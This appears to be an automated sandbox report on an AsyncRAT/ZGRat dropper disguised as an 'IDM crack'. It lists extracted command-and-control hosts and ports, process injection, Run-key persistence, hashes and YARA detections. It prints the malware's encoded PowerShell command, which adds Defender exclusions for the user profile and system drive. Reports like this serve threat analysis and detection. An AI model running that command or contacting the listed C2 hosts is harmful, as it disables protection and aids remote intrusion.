Analysis
-
max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system -
submitted
26-04-2024 01:37
Static task
static1
Behavioral task
behavioral1
Sample
dedc15a14da607a8c993e869ab600a5be154e1853c45e0493727244e627cb2a9.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
dedc15a14da607a8c993e869ab600a5be154e1853c45e0493727244e627cb2a9.exe
Resource
win10v2004-20240412-en
General
-
Target
dedc15a14da607a8c993e869ab600a5be154e1853c45e0493727244e627cb2a9.exe
-
Size
2.2MB
-
MD5
2ad3527444357f19cd120fa1b8bd2f23
-
SHA1
ac986ab9967bc084565ed13aa9434eafcc6d4752
-
SHA256
dedc15a14da607a8c993e869ab600a5be154e1853c45e0493727244e627cb2a9
-
SHA512
c4d0f3f1bc2c18d85454354c9c16484e948554a97676be16b05cfe82fbd2574c5b5b492ce386831996414adce54a5b04ac28b6be8594c880184eb24ae9ba2f42
-
SSDEEP
49152:HJ0TBxevspc1iFJsFhyDIIXoWNRsD10/x5X3lJmRkh:Hieva/FYOIIXo1DS/7FJ2
Malware Config
Extracted
asyncrat
0.5.8
Default
tomx.brasilia.me:6606
tomx.brasilia.me:7707
tomx.brasilia.me:8808
91.92.253.249:6606
91.92.253.249:7707
91.92.253.249:8808
vWKJAJDsDf09
-
delay
3
-
install
false
-
install_folder
%AppData%
Signatures
-
Detect ZGRat V1 34 IoCs
Processes:
resource yara_rule behavioral2/memory/3092-23-0x00000000050A0000-0x00000000052C0000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-40-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-41-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-44-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-46-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-48-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-50-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-52-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-54-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-56-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-58-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-60-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-64-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-66-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-68-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-70-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-72-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-74-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-76-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-78-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-80-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-82-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-84-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-86-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-88-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-90-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-92-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-109-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-112-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-115-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-94-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-117-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-119-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 behavioral2/memory/3092-123-0x00000000050A0000-0x00000000052BA000-memory.dmp family_zgrat_v1 -
Detects file containing reversed ASEP Autorun registry keys 1 IoCs
Processes:
resource yara_rule behavioral2/memory/4048-4960-0x0000000000400000-0x0000000000412000-memory.dmp INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
dedc15a14da607a8c993e869ab600a5be154e1853c45e0493727244e627cb2a9.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2177723727-746291240-1644359950-1000\Control Panel\International\Geo\Nation dedc15a14da607a8c993e869ab600a5be154e1853c45e0493727244e627cb2a9.exe -
Executes dropped EXE 2 IoCs
Processes:
Hzoynygqzv.exeIDM_6.4x_Crack_v18.1.exepid process 3092 Hzoynygqzv.exe 3948 IDM_6.4x_Crack_v18.1.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
Hzoynygqzv.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2177723727-746291240-1644359950-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ouopxupnarf = "C:\\Users\\Admin\\AppData\\Roaming\\Ouopxupnarf.exe" Hzoynygqzv.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
Hzoynygqzv.exedescription pid process target process PID 3092 set thread context of 4048 3092 Hzoynygqzv.exe InstallUtil.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4464 powershell.exe 4464 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exeHzoynygqzv.exeInstallUtil.exedescription pid process Token: SeDebugPrivilege 4464 powershell.exe Token: SeDebugPrivilege 3092 Hzoynygqzv.exe Token: SeDebugPrivilege 3092 Hzoynygqzv.exe Token: SeDebugPrivilege 4048 InstallUtil.exe -
Suspicious use of WriteProcessMemory 17 IoCs
Processes:
dedc15a14da607a8c993e869ab600a5be154e1853c45e0493727244e627cb2a9.exeHzoynygqzv.exedescription pid process target process PID 3664 wrote to memory of 4464 3664 dedc15a14da607a8c993e869ab600a5be154e1853c45e0493727244e627cb2a9.exe powershell.exe PID 3664 wrote to memory of 4464 3664 dedc15a14da607a8c993e869ab600a5be154e1853c45e0493727244e627cb2a9.exe powershell.exe PID 3664 wrote to memory of 4464 3664 dedc15a14da607a8c993e869ab600a5be154e1853c45e0493727244e627cb2a9.exe powershell.exe PID 3664 wrote to memory of 3092 3664 dedc15a14da607a8c993e869ab600a5be154e1853c45e0493727244e627cb2a9.exe Hzoynygqzv.exe PID 3664 wrote to memory of 3092 3664 dedc15a14da607a8c993e869ab600a5be154e1853c45e0493727244e627cb2a9.exe Hzoynygqzv.exe PID 3664 wrote to memory of 3092 3664 dedc15a14da607a8c993e869ab600a5be154e1853c45e0493727244e627cb2a9.exe Hzoynygqzv.exe PID 3664 wrote to memory of 3948 3664 dedc15a14da607a8c993e869ab600a5be154e1853c45e0493727244e627cb2a9.exe IDM_6.4x_Crack_v18.1.exe PID 3664 wrote to memory of 3948 3664 dedc15a14da607a8c993e869ab600a5be154e1853c45e0493727244e627cb2a9.exe IDM_6.4x_Crack_v18.1.exe PID 3664 wrote to memory of 3948 3664 dedc15a14da607a8c993e869ab600a5be154e1853c45e0493727244e627cb2a9.exe IDM_6.4x_Crack_v18.1.exe PID 3092 wrote to memory of 4048 3092 Hzoynygqzv.exe InstallUtil.exe PID 3092 wrote to memory of 4048 3092 Hzoynygqzv.exe InstallUtil.exe PID 3092 wrote to memory of 4048 3092 Hzoynygqzv.exe InstallUtil.exe PID 3092 wrote to memory of 4048 3092 Hzoynygqzv.exe InstallUtil.exe PID 3092 wrote to memory of 4048 3092 Hzoynygqzv.exe InstallUtil.exe PID 3092 wrote to memory of 4048 3092 Hzoynygqzv.exe InstallUtil.exe PID 3092 wrote to memory of 4048 3092 Hzoynygqzv.exe InstallUtil.exe PID 3092 wrote to memory of 4048 3092 Hzoynygqzv.exe InstallUtil.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\dedc15a14da607a8c993e869ab600a5be154e1853c45e0493727244e627cb2a9.exe"C:\Users\Admin\AppData\Local\Temp\dedc15a14da607a8c993e869ab600a5be154e1853c45e0493727244e627cb2a9.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AeQBpACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAZABhACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGcAZABwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAegB0ACMAPgA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Hzoynygqzv.exe"C:\Users\Admin\AppData\Local\Hzoynygqzv.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\IDM_6.4x_Crack_v18.1.exe"C:\Users\Admin\AppData\Local\IDM_6.4x_Crack_v18.1.exe"2⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Hzoynygqzv.exeFilesize
2.2MB
MD5a6894b09a24e7f7aae0b17614279be90
SHA1f45aa4d72e401b64fc99ecb4e27de98125a7d9f5
SHA256599803ee475fa2222e1e1537b60893678d2c53087419bb72758c75b4d8862d65
SHA51226b52d6dfc3a23d3859e978d18010b5e4b7f0e1ea41340fb359854e5a3ccd61f64db06087901c9bf625466bc388e8c6c9d5479449a0894cfd9f16f7ac1410ddf
-
C:\Users\Admin\AppData\Local\IDM_6.4x_Crack_v18.1.exeFilesize
74KB
MD5dcdc109069b6e0d80d776c143fecde3f
SHA1761589c94ba8c2fd57d3ae9666a0fdc0d1b72eb5
SHA256fe44f050ab9ea33f87acef449ed57157a331a19956207d6243522676c894e284
SHA51285365775caa1f85c585b4979519357421ec0239d900513c0aadf28d9d238f6548164c3573141b3e272a6d4376129204a7ceba9b2c4b31c8fbdfd13cb814b73b9
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mqt3vxjt.fji.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/3092-84-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-60-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-23-0x00000000050A0000-0x00000000052C0000-memory.dmpFilesize
2.1MB
-
memory/3092-26-0x0000000005870000-0x0000000005E14000-memory.dmpFilesize
5.6MB
-
memory/3092-34-0x0000000005380000-0x0000000005412000-memory.dmpFilesize
584KB
-
memory/3092-40-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-86-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-4961-0x0000000073900000-0x00000000740B0000-memory.dmpFilesize
7.7MB
-
memory/3092-4956-0x0000000006220000-0x0000000006274000-memory.dmpFilesize
336KB
-
memory/3092-4955-0x00000000057B0000-0x00000000057FC000-memory.dmpFilesize
304KB
-
memory/3092-4954-0x0000000005750000-0x00000000057AC000-memory.dmpFilesize
368KB
-
memory/3092-4953-0x0000000005560000-0x0000000005561000-memory.dmpFilesize
4KB
-
memory/3092-4952-0x0000000005090000-0x00000000050A0000-memory.dmpFilesize
64KB
-
memory/3092-41-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-88-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-123-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-44-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-46-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-48-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-50-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-52-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-54-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-56-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-58-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-119-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-90-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-117-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-64-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-66-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-68-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-70-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-72-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-74-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-76-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-78-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-80-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-82-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-18-0x00000000004A0000-0x00000000006CE000-memory.dmpFilesize
2.2MB
-
memory/3092-94-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-2081-0x0000000073900000-0x00000000740B0000-memory.dmpFilesize
7.7MB
-
memory/3092-19-0x0000000073900000-0x00000000740B0000-memory.dmpFilesize
7.7MB
-
memory/3092-92-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-115-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-112-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/3092-109-0x00000000050A0000-0x00000000052BA000-memory.dmpFilesize
2.1MB
-
memory/4048-4962-0x0000000073900000-0x00000000740B0000-memory.dmpFilesize
7.7MB
-
memory/4048-4967-0x0000000073900000-0x00000000740B0000-memory.dmpFilesize
7.7MB
-
memory/4048-4966-0x0000000005660000-0x00000000056FC000-memory.dmpFilesize
624KB
-
memory/4048-4963-0x0000000004EC0000-0x0000000004ED0000-memory.dmpFilesize
64KB
-
memory/4048-4960-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
-
memory/4464-61-0x0000000006760000-0x000000000677E000-memory.dmpFilesize
120KB
-
memory/4464-266-0x0000000007DE0000-0x0000000007DE8000-memory.dmpFilesize
32KB
-
memory/4464-63-0x0000000006820000-0x000000000686C000-memory.dmpFilesize
304KB
-
memory/4464-97-0x00000000701C0000-0x000000007020C000-memory.dmpFilesize
304KB
-
memory/4464-120-0x00000000080E0000-0x000000000875A000-memory.dmpFilesize
6.5MB
-
memory/4464-121-0x0000000007AA0000-0x0000000007ABA000-memory.dmpFilesize
104KB
-
memory/4464-42-0x00000000062B0000-0x0000000006604000-memory.dmpFilesize
3.3MB
-
memory/4464-263-0x0000000007DF0000-0x0000000007E0A000-memory.dmpFilesize
104KB
-
memory/4464-140-0x0000000007D30000-0x0000000007DC6000-memory.dmpFilesize
600KB
-
memory/4464-150-0x0000000007CA0000-0x0000000007CB1000-memory.dmpFilesize
68KB
-
memory/4464-113-0x0000000007750000-0x00000000077F3000-memory.dmpFilesize
652KB
-
memory/4464-95-0x0000000007710000-0x0000000007742000-memory.dmpFilesize
200KB
-
memory/4464-131-0x0000000007B10000-0x0000000007B1A000-memory.dmpFilesize
40KB
-
memory/4464-255-0x0000000007D10000-0x0000000007D24000-memory.dmpFilesize
80KB
-
memory/4464-286-0x0000000073900000-0x00000000740B0000-memory.dmpFilesize
7.7MB
-
memory/4464-35-0x0000000006140000-0x00000000061A6000-memory.dmpFilesize
408KB
-
memory/4464-28-0x00000000060D0000-0x0000000006136000-memory.dmpFilesize
408KB
-
memory/4464-27-0x00000000057B0000-0x00000000057D2000-memory.dmpFilesize
136KB
-
memory/4464-25-0x0000000003140000-0x0000000003150000-memory.dmpFilesize
64KB
-
memory/4464-24-0x0000000003140000-0x0000000003150000-memory.dmpFilesize
64KB
-
memory/4464-22-0x0000000073900000-0x00000000740B0000-memory.dmpFilesize
7.7MB
-
memory/4464-21-0x0000000005930000-0x0000000005F58000-memory.dmpFilesize
6.2MB
-
memory/4464-96-0x000000007F6F0000-0x000000007F700000-memory.dmpFilesize
64KB
-
memory/4464-20-0x00000000031A0000-0x00000000031D6000-memory.dmpFilesize
216KB
-
memory/4464-110-0x0000000003140000-0x0000000003150000-memory.dmpFilesize
64KB
-
memory/4464-246-0x0000000007D00000-0x0000000007D0E000-memory.dmpFilesize
56KB
-
memory/4464-108-0x0000000006D20000-0x0000000006D3E000-memory.dmpFilesize
120KB